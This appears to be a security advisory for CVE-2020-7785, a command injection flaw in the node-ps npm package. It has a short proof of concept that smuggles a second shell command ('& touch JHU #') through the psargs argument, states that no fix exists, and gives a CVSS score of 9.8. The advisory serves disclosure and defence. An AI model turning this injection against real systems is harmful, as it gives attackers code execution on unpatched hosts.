Command Injection

Affecting node-ps package, ALL versions

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

Affected versions of this package are vulnerable to Command Injection. The injection point is located in line 72 in lib/index.js.

PoC

var a =require("node-ps");
a.lookup({psargs:["& touch JHU #"]},function(){})

Remediation

There is no fixed version for node-ps.

References

CVSS Score

9.8
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    High
  • Availability
    High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Credit
JHU System Security Lab
CVE
CVE-2020-7785
CWE
CWE-78
Snyk ID
SNYK-JS-NODEPS-1048335
Disclosed
04 Dec, 2020
Published
09 Feb, 2021